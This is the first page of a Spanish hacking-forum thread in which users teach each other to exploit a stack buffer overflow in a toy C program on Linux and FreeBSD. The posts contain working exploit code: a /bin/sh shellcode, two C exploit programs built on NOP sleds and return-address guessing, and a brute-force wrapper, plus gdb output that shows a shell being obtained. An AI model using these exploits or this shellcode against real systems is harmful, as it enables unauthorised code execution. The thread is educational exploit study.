elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 20:03  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  No puedo sobrescribir EIP (Linux)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 Ir Abajo Respuesta Imprimir
Autor Tema: No puedo sobrescribir EIP (Linux)  (Leído 8,703 veces)
zhynar_X


Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
No puedo sobrescribir EIP (Linux)
« en: 26 Diciembre 2007, 16:42 »

Hola, el caso es que estoy intentando crear un exploit para el tipico programa vulnerable en linux pero no consigo sobrescribir el EIP... aver si me pueden ayudar:


El codigo vulnerable es:
Código
#include <stdio.h>
#include <string.h>
 
 
int main(int argc, char **argv) {
 
 
char buff[12];
strcpy(buff,argv[1]);
printf("\nHas escrito:   %s\n",buff);
 
return 0;
 
 
}
 

Compilo y pruebo:

Código:
zhynar@zhynar:~/Desktop$ gcc bug2.c -o bug2 -ggdb
zhynar@zhynar:~/Desktop$ ./bug2 hola                    <------- Compruevo que funciona

Has escrito:   hola
zhynar@zhynar:~/Desktop$ ./bug2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   <-------- Mas de 12 'A's

Has escrito:   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Violación de segmento                                <---------- Se produce el desbordamiento
zhynar@zhynar:~/Desktop$

Ahora lo abro con el gdb:
Código:
zhynar@zhynar:~/Desktop$ gdb bug2
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    <---- Muchas 'A's...
Starting program: /home/zhynar/Desktop/bug2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Failed to read a valid object file image from memory.

Has escrito:   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.      <------ Se produce el desbordamiento
0x080483dc in main (argc=Cannot access memory at address 0x41414141
) at bug2.c:12
12      }
(gdb) info registers
eax            0x0      0
ecx            0x41414141       1094795585
edx            0xb7fbe448       -1208228792
ebx            0xb7fbcff4       -1208233996
esp            0x4141413d       0x4141413d        <---- Sobrescrito
ebp            0x41414141       0x41414141        <---- Sobrescriito
esi            0x0      0
edi            0xb7fe6cc0       -1208062784
eip            0x80483dc        0x80483dc <main+72>      <----- Pero no consigo sobrescribir el EIP   
eflags         0x210282 [ SF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)

Aver si me pueden ayudar...  :) :)

Saludos  ;) ;)
« Última modificación: 26 Diciembre 2007, 16:44 por zhynar_X » En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #1 en: 26 Diciembre 2007, 17:01 »

EIP guarda la instruccion en la que se encuentra.
si no puede leer la memoria en 0x41414141 entonces EIP nunca llega a tener ese valor.

busca smashing the stack for fun and profit.. es como que lo basico de BoF, y es para linux :P, lo que "reescribes" es el valor de retorno, no EIP, EIP toma el valor de la direccion de retorno, se que parece que es lo mismo pero no.. EIP no puede ser "sobreescrito", siempre tiene valores validos.

blah, en otras palabras.. coloca la direccion de retorno que quieres en la posicion especificada que debe ser.. mm desde el char 16, creo..

Saludos!!
En línea

zhynar_X


Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #2 en: 27 Diciembre 2007, 03:05 »

Que lio que me estoy haciendo... xDxD  En windows no tarde na en hacer el **** exploit.... xD

A ver a partir de la 'A' 16 si pongo un offset deberia ir a esa parte de la memoria, asi que tengo que ponerle un offset a la shellcode pero... En que parte de la pila meto la shellcode y despues como saco el offset a la shellcode??

En windows se que ponia la shellcode en la direccion de ESP y despues hacia un "jmp esp" pero por .lo que veo en linux es diferente... xD


Saludos  ;) ;)

En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #3 en: 27 Diciembre 2007, 11:49 »

esque en linux la dirección de la pila es constante, o era.. depende del kernel..
lee el documento que te digo xD es de aleph1.

Saludos!!
En línea

zhynar_X


Desconectado Desconectado

Mensajes: 516


Use linux my friend...


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #4 en: 2 Enero 2008, 23:23 »

Bueno ya he leido bastante y ya me he enterado de lo que tengo que hacer xD

Pero ahora hay una cosa que no se... Meto la shellcode en el buffer y tengo que sobrescribir el RET con la direccion de la shellcode, osea la direccion de buffer y para ello tengo que poner su direccion en la posicion de la cadena que sobrescribe el RET, pero como pongo su direccion de forma que la pila la interprte?   Es decir... como meto un offset en un string??


Saludos
En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #5 en: 14 Enero 2008, 02:16 »

Bien zhynar_X, creo que si estas estudiado  ;D, y eso es bueno.

Bien vi tu codigo y es de los clasicos BOF, sin embargo el buffer que estas dejando en muy pequeño para propositos educativos y de aprendizaje, yo recomiendo buffer mas grande, ya que veas como funciona en un buffer grande, vas a ver la forma de hacerlo en buffer pequeños, sin embargo yo estoy casi seguro que con 12-16 bytes nadie va a poder meter un shellcode completo ahi  :xD.

Bien una direccion aproximada de la pila donde se esta almacenado tu variable la puedes conseguir con la siguente funcion

Código:
unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

Sin embargo vas a tener que restar algunas decenas o centerares de bytes.

Ahora bueno para buffer pequeños, uso algo que le aprendi a rojodos  ;D

Código:
%gdb ./codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) printf "%c\n", 0x48
H

Vemos que en mi sistema trata de saltar a las H's lo cual nos deja un buffer de 7x4 un total de 28 bytes para poder ejecutar un shell. huy en FreeBSD, he visto un shell de 25 bytes, creo que si se puede ejecutar  ;D, lo tengo que poder hacer, solo que atinarle al valor exacto que se tiene que meter al ret va a estar muy dificil de calcular.

Este solo es para FreeBSD

Código:
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

Por eso comento que para practica personal, es necesario un buffer un poco mas grande.
« Última modificación: 14 Enero 2008, 02:21 por Anon » En línea

Bien Super Divertido
@wifigdlmx
RaiSe

Desconectado Desconectado

Mensajes: 53


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #6 en: 14 Enero 2008, 02:24 »

El problema que tienes es porque estás intentando explotar main. Desde hace relativamente poco, el gcc hace una cosa un poco rara al principio y al final de main, que es para alinear la pila. Mas o menos y resumiendo lo que hace es salvar y restaurar la pila, en la pila XD. Es decir, antes de la dirección de retorno en la pila está esp guardado.

Antes del ret de main, hace (más o menos):

pop %ebp
pop %esp
ret

Si te cargas el %esp guardado en la pila, el ret no funcionara. Por eso obtienes un esp y un ebp sobreescrito con 0x41. Todo esto puedes verlo si haces un disass de main. En resumen, la funcion main hay que explotarla de otra forma, concretamente sobreescribiendo el esp guardado en la pila, en vez de sobreescribir eip.

Un saludo.
« Última modificación: 14 Enero 2008, 02:48 por RaiSe » En línea

RaiSe | eNYe-Sec.org
RaiSe

Desconectado Desconectado

Mensajes: 53


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #7 en: 14 Enero 2008, 02:31 »

Código:
%gdb ./codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) printf "%c\n", 0x48
H

Vemos que en mi sistema trata de saltar a las H's lo cual nos deja un buffer de 7x4 un total de 28 bytes para poder ejecutar un shell. huy en FreeBSD, he visto un shell de 25 bytes, creo que si se puede ejecutar  ;D, lo tengo que poder hacer, solo que atinarle al valor exacto que se tiene que meter al ret va a estar muy dificil de calcular.

En FreeBSD no sé si hace lo de salvar el esp o no, pero seguro que intenta saltar a 0x48484848?, no será que hace un ret con esp = 0x48484848 o algo parecido?. Para salir de dudas:

x/1i $eip

En el momento que da el sigsegv. Un saludo.

PD: Segun he visto un main de tu otro post (como usar el gdb), tiene toda la pinta de que en FreeBSD (al menos en el tuyo) no hace lo de salvar esp en la pila, sino que usa el leave de toda la vida (ebp). Usease que en tu caso si que debe de intentar saltar realmente a 0x48484848, y la explotación en más sencilla.
« Última modificación: 14 Enero 2008, 02:49 por RaiSe » En línea

RaiSe | eNYe-Sec.org
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #8 en: 14 Enero 2008, 02:49 »


En FreeBSD no sé si hace lo de salvar el esp o no, pero seguro que intenta saltar a 0x48484848?, no será que hace un ret con esp = 0x48484848 o algo parecido?. Para salir de dudas:

x/1i $eip

En el momento que da el sigsegv. Un saludo.

Mira, estoy seguro que hace algo, sin embargo todavia no estoy completamente seguro de que hace, despues del prolog, ejecuta cosas que ni al caso pero bueno, preguntemosle esto a los que hacen gcc  ;D

Código:
(gdb) disas main
Dump of assembler code for function main:
0x080481b4 <main+0>:    push   %ebp
0x080481b5 <main+1>:    mov    %esp,%ebp
0x080481b7 <main+3>:    sub    $0x18,%esp
0x080481ba <main+6>:    and    $0xfffffff0,%esp
0x080481bd <main+9>:    mov    $0x0,%eax
0x080481c2 <main+14>:   add    $0xf,%eax
0x080481c5 <main+17>:   add    $0xf,%eax
0x080481c8 <main+20>:   shr    $0x4,%eax
0x080481cb <main+23>:   shl    $0x4,%eax
0x080481ce <main+26>:   sub    %eax,%esp
0x080481d0 <main+28>:   sub    $0x8,%esp
0x080481d3 <main+31>:   mov    0xc(%ebp),%eax
0x080481d6 <main+34>:   add    $0x4,%eax
0x080481d9 <main+37>:   pushl  (%eax)
0x080481db <main+39>:   lea    0xffffffe8(%ebp),%eax
0x080481de <main+42>:   push   %eax
0x080481df <main+43>:   call   0x804973c <strcpy>
0x080481e4 <main+48>:   add    $0x10,%esp
0x080481e7 <main+51>:   sub    $0x8,%esp
0x080481ea <main+54>:   lea    0xffffffe8(%ebp),%eax
0x080481ed <main+57>:   push   %eax
0x080481ee <main+58>:   push   $0x805b46a
0x080481f3 <main+63>:   call   0x8049708 <printf>
0x080481f8 <main+68>:   add    $0x10,%esp
0x080481fb <main+71>:   mov    $0x0,%eax
0x08048200 <main+76>:   leave
0x08048201 <main+77>:   ret
End of assembler dump.

Si lo sobre escribe el eip

Código:
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) x/1 $eip
0x48484848:     Error accessing memory address 0x48484848: Bad address.

y tambien el ebp, pero ese no hay mucho que decir... mirar:

Código:
(gdb) info register
eax            0x0      0
ecx            0x0      0
edx            0x35     53
ebx            0x2      2
esp            0xbfbfe910       0xbfbfe910
ebp            0x47474747       0x47474747
esi            0xbfbfe960       -1077941920
edi            0x0      0
eip            0x48484848       0x48484848
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb)

Ok salimos de Dudas...  ;D
En línea

Bien Super Divertido
@wifigdlmx
RaiSe

Desconectado Desconectado

Mensajes: 53


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #9 en: 14 Enero 2008, 02:50 »

Joer, me voy a volver loco de tanto editar mis posts jeje. Si, en tu caso usa %ebp para restaurar %esp y retornar, osea que no hay el problema que si existe en linux. Un saludo.

PD: Que version de gcc usas?.
En línea

RaiSe | eNYe-Sec.org
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #10 en: 14 Enero 2008, 02:57 »

viene predeterminada con el sistema  ;D, es la 3.4.6, mirar:

Código:
%gcc -v
Using built-in specs.
Configured with: FreeBSD/i386 system compiler
Thread model: posix
gcc version 3.4.6 [FreeBSD] 20060305

 :huh: No sabia que ahora linux tubiese ese problema... a partir de que version de ; kernel salio eso, alquien tiene  el link. ?

tendre que modificar mis exploits para linux, si se trata de un BOF dentro de main  :rolleyes:


Hey zhynar_X, que kernel de Linux usa tu Debian ? y cual es la version de gcc ? para poder verificar todas las dudas aqui susitadas. ;D
« Última modificación: 14 Enero 2008, 03:02 por Anon » En línea

Bien Super Divertido
@wifigdlmx
RaiSe

Desconectado Desconectado

Mensajes: 53


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #11 en: 14 Enero 2008, 03:21 »

Mi gcc es el 4.1 . La verdad es que tiene más pinta de ser del gcc, que de Linux especificamente. Sería interesante probar un gcc más actual en Freebsd y mirar si hace lo mismo o no. Un saludo.
« Última modificación: 14 Enero 2008, 03:24 por RaiSe » En línea

RaiSe | eNYe-Sec.org
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #12 en: 14 Enero 2008, 07:22 »

Bien, ahora tengo 2 o mas problemas entre mano, la verdad me obseciona demasiado este tema.

trate de explotar el codigo mostrado por zhynar_X, sin embargo no he tenido mucho exito  :xD

El codigo vulnerable es:
Código
#include <stdio.h>
#include <string.h>
 
 
int main(int argc, char **argv) {
 
 
char buff[12];
strcpy(buff,argv[1]);
printf("\nHas escrito:   %s\n",buff);
 
return 0;
 
 
}
 

BIen creo que con lo que mostrare a continuacion resolvere una dudas sobre como meter una dirccion  en el ret, atravez de la cadena de ingreso. al programa vulnerable.

Es decir... como meto un offset en un string??

Saludos

Bien eso se hace de muchas maneras puedes crear un archivo con el buffer y despues hacer un cat

Código:
% ./codigo `cat evilbuffer.txt`

Puedes usar perl, un exploit, shell scritp, pyton, variables de Entorno etc, lo que mejor se te de, pero si sabes programar en C, recomiendo encarecidamente C.

Hice un exploit para tu codigo y no funciona.  :rolleyes: ya me trae como loco, he aqui el exploit


eexploit.c

Código
#include<stdio.h>
#define NOP 0x90
 
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
 
unsigned long get_esp(void)     {
  __asm__("movl %esp,%eax");
}
 
int  main(int argc, char *argv[])       {
       FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
       long  nop_addr;
       int offset = 0;
int size = 40;
       int i;
       if (argc!=2)    {
printf("Crea un archivo con el EGG\n");
               printf("Uso: %s <desplazamiento>\n", argv[0]);
               return 0;
       }
 
       offset  = atoi(argv[1]);
       buffer = calloc(size,sizeof(char));
       nop_addr = get_esp() - offset;
 
       for (i = 0; i < (size/4); i++)
               *((long*)buffer + i) = nop_addr;
 
       for (i = 0; i < size/2; i++)
               buffer[i] = NOP;
 
       for (i = 0; i < strlen(shellcode); i++)
               *(buffer + 3 +i ) = shellcode[i];
 
       buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",nop_addr);
       execv(vuln[0],vuln);
       return 0;
}
 
 

Bien estoy seguro que el codigo vulnerable que compile con el gcc 3.4.6 en cual si le mandamos de AAAABBBBCCCC.... se atora en la H


Código:
%gdb ./codigo
GNU gdb 6.1.1 [FreeBSD]
.............
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) printf "%c\n", 0x48
H


de la A a la G hay 28 espacios disponibles lo que hace el exploit que cree, es pide un offset, para jugar con el desplazamiento... ya saben lo clasico de  Aleph One

Con este espacio tan reducido todo tiene que estar mas que calculado. y el buffer que se manda a la aplicacion vulnerable, es en si lo siguente

3 NOP's
25 bytes de Shellcode
3 veces la direccion de retorno (4 bytes de cada una) para un total del buffer de 40 bytes, aunque solo sea nesesaria la Primera como vimos.

Despues ejecute el exploit manualmente y me enfade  :P

Código:
%./eexploit 20
Direcion Ret: 0xbfbfe8d4

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 30
Direcion Ret: 0xbfbfe8ca

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 120
Direcion Ret: 0xbfbfe870

Has escrito:   ���1�Ph//shh/bin��PSPTS�;Pp迿p迿p��
Segmentation fault
%./eexploit 200
Direcion Ret: 0xbfbfe820

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P 迿 迿 ��
Segmentation fault


asi que genere otro archivo en c para poder ejecutar el exploit con todas las direcciones posibles

xploitforcebrute.c

Código
#include<stdio.h>
 
int main(void) {
int i = 0;
char *explo = "/usr/home/luis/eexploit";
char *buffer= (char*) calloc(40,sizeof(char));
while(i<1000) {
printf("Usando: %d\n",i);
sprintf(buffer,"%s %d",explo,i);
system(buffer);
i++;
}
}
 
 

Y nada  >:(, se tiene que poder pero no se si algo este mal, si alguien nota algo por favor que lo mensione aqui, por eso repito que lo buffers peque;os estan dificiles de explotar, pero si cabe el shellcode, y la direccion de retorno, estoy con que se debe de poder.


Mi gcc es el 4.1 . La verdad es que tiene más pinta de ser del gcc, que de Linux especificamente. Sería interesante probar un gcc más actual en Freebsd y mirar si hace lo mismo o no. Un saludo.

Si efectivamente es la version de gcc

Código:
%gcc41 codigo.c -o codigo -ggdb -static
%gdb codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) disas main
Dump of assembler code for function main:
0x080481b0 <main+0>:    lea    0x4(%esp),%ecx
0x080481b4 <main+4>:    and    $0xfffffff0,%esp
0x080481b7 <main+7>:    pushl  0xfffffffc(%ecx)
0x080481ba <main+10>:   push   %ebp
0x080481bb <main+11>:   mov    %esp,%ebp
0x080481bd <main+13>:   push   %ecx
0x080481be <main+14>:   sub    $0x14,%esp
0x080481c1 <main+17>:   mov    0x4(%ecx),%eax
0x080481c4 <main+20>:   add    $0x4,%eax
0x080481c7 <main+23>:   mov    (%eax),%eax
0x080481c9 <main+25>:   sub    $0x8,%esp
0x080481cc <main+28>:   push   %eax
0x080481cd <main+29>:   lea    0xfffffff0(%ebp),%eax
0x080481d0 <main+32>:   push   %eax
0x080481d1 <main+33>:   call   0x8049734 <strcpy>
0x080481d6 <main+38>:   add    $0x10,%esp
0x080481d9 <main+41>:   sub    $0x8,%esp
0x080481dc <main+44>:   lea    0xfffffff0(%ebp),%eax
0x080481df <main+47>:   push   %eax
0x080481e0 <main+48>:   push   $0x805b46a
0x080481e5 <main+53>:   call   0x8049700 <printf>
0x080481ea <main+58>:   add    $0x10,%esp
0x080481ed <main+61>:   mov    $0x0,%eax
0x080481f2 <main+66>:   mov    0xfffffffc(%ebp),%ecx
0x080481f5 <main+69>:   leave
0x080481f6 <main+70>:   lea    0xfffffffc(%ecx),%esp
0x080481f9 <main+73>:   ret
End of assembler dump.
(gdb) list
1       #include <stdio.h>
2       #include <string.h>
3
4
5       int main(int argc, char **argv) {
6
7
8               char buff[12];
9               strcpy(buff,argv[1]);
10              printf("\nHas escrito:   %s\n",buff);
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD

Program received signal SIGSEGV, Segmentation fault.
0x080481f9 in main (argc=Error accessing memory address 0x44444444: Bad address.
) at codigo.c:15
15      }
(gdb) info register
eax            0x0      0
ecx            0x44444444       1145324612
edx            0x3e     62
ebx            0x2      2
esp            0x44444440       0x44444440
ebp            0x45454545       0x45454545
esi            0xbfbfe958       -1077941928
edi            0x0      0
eip            0x80481f9        0x80481f9
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) printf "%c\n", 0x44
D


Bien ahora se atora en la D, dejo exactamente los 12 bytes de Buffer  :o, que optimizacion tan cabrona, lo voy a analizar detenidamente para ver que hace exactamente. y poder dar con la forma de explotarlo, pero eso si va a ser imposible que se meta una shellcode en esos 12 bytes...  :huh:

Almenos que   :rolleyes: huy no lo habia visto es una idea bien loca a lo mejor a alguien ya se le ocurrio, pero bueno se me acaba de ocurrir ahorita que es posible sobre escribir todo los datos y mandar el shell code hasta el final ejemplo del buffer:

AAAAAAAAAAAA + RET'ssss + NOP'ssssssss + shellcode.

esto en Lugar del clasico

NOP'ssssssss + Shellcode + RET'sssss

Lo probare ahora mismo.



« Última modificación: 14 Enero 2008, 07:41 por Anon » En línea

Bien Super Divertido
@wifigdlmx
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #13 en: 14 Enero 2008, 07:40 »

AHUEVO que funciona.... por lo menos yo no lo havia visto asi  :o

Este exploit funciona para el buffers pequeños, y funciono a la primera para el codigo de  zhynar_X

eexploit2.c

Código:
#include<stdio.h>
#define NOP 0x90

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

int  main(int argc, char *argv[])       {
        FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
        long  nop_addr;
        int offset = 0;
int size;
int bof;
        int i;
        if (argc!=4)    {
printf("Crea \n");
                printf("Uso: %s <size_BOF_buffer> <size_evil_buffer> <desplazamiento>\n", argv[0]);
                return 0;
        }

        offset  = atoi(argv[3]);
bof = atoi(argv[1]);
size = atoi(argv[2]);

        buffer = calloc(size,sizeof(char));
        nop_addr = get_esp() - offset;

        for (i = 0; i < (bof/4); i++)
                *((long*)buffer + i) = nop_addr;

        for (i = 0; i < size - bof; i++)
                buffer[bof + i] = NOP;

        for (i = 0; i < strlen(shellcode); i++)
                *(buffer + size/2 + i ) = shellcode[i];

        buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",nop_addr);
        execv(vuln[0],vuln);
        return 0;
}

Código:
%gcc -o eexploit2 eexploit2.c
%./eexploit
Crea un archivo con el EGG
Uso: ./eexploit <desplazamiento>
%./eexploit2
Crea
Uso: ./eexploit2 <size_BOF_buffer> <size_evil_buffer> <desplazamiento>
%./eexploit2 40 300 200
Direcion Ret: 0xbfbfe810

Has escrito:   迿迿迿迿迿迿迿迿迿迿��������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P����������������������������������������������������������������������������������������������������������������������������
$ exit
%

 ;D  ;D :rolleyes: :rolleyes: ;D  :o ;D :rolleyes: :rolleyes:  :o  ;D  ::) ::) ::)  :xD


El buffer quedaria asi:

 RET'ssss + NOP'ssssssss + shellcode. + NOP'sssss

la version del codigo vulnerable que explote, fue compilada con gcc 3.4.6

Ahora solo resta explotar el codigo compilado con el gcc 4.1





« Última modificación: 14 Enero 2008, 07:48 por Anon » En línea

Bien Super Divertido
@wifigdlmx
RaiSe

Desconectado Desconectado

Mensajes: 53


Ver Perfil WWW
Re: No puedo sobrescribir EIP (Linux)
« Respuesta #14 en: 14 Enero 2008, 13:44 »

Si efectivamente es la version de gcc

Código:
%gcc41 codigo.c -o codigo -ggdb -static
%gdb codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) disas main
Dump of assembler code for function main:
0x080481b0 <main+0>:    lea    0x4(%esp),%ecx
0x080481b4 <main+4>:    and    $0xfffffff0,%esp
0x080481b7 <main+7>:    pushl  0xfffffffc(%ecx)
***************************
***************************
0x080481f2 <main+66>:   mov    0xfffffffc(%ebp),%ecx
0x080481f5 <main+69>:   leave
0x080481f6 <main+70>:   lea    0xfffffffc(%ecx),%esp
0x080481f9 <main+73>:   ret
End of assembler dump.

El problema es que salva esp en la pila (a traves de ecx), y lo restaura antes de hacer el ret. La forma de explotarlo seria sobreescribir ese valor con una direccion en la que controlemos el contenido. Ejemplo:

- Sobreescribimos esp guardado por 0xdededede (es un caso ficticio).
- 0xdededede es una direccion en la que controlamos su contenido, el cual es: 0xabababab
- En 0xabababab tambien controlamos su contenido, el cual es: la shellcode

Al sobreescribir el esp guardado, antes del ret: %esp = 0xdededede. Hace el ret y salta a 0xabababab, la cual es la direccion de la shellcode.

Cambiando de tema, en ese ejemplo no importa que el buffer sea pequeño. Puedes meter la shellcode en argv[2] por ejemplo, sin limite de tamaño.

Un saludo.
En línea

RaiSe | eNYe-Sec.org
Páginas: [1] 2 3 4 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema con linux como me puedo conectar a internet por medio de linux
GNU/Linux
-Sonic- 12 1,538 Último mensaje 17 Enero 2004, 10:06
por ..sR. aDiKtO..
Como puedo pasar archivos de window a Linux y Linux a window
GNU/Linux
luisvzla 4 730 Último mensaje 16 Marzo 2004, 19:26
por cokeing
no sobrescribir imagen
Programación Visual Basic
soru13 7 603 Último mensaje 27 Agosto 2006, 02:05
por soru13
sobrescribir en mi msn
Dudas Generales
hackjoha 1 1,221 Último mensaje 20 Junio 2009, 01:50
por whaky
Problema al sobrescribir
Análisis y Diseño de Malware
MasterPunk 12 1,672 Último mensaje 3 Octubre 2010, 19:12
por APOKLIPTICO
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines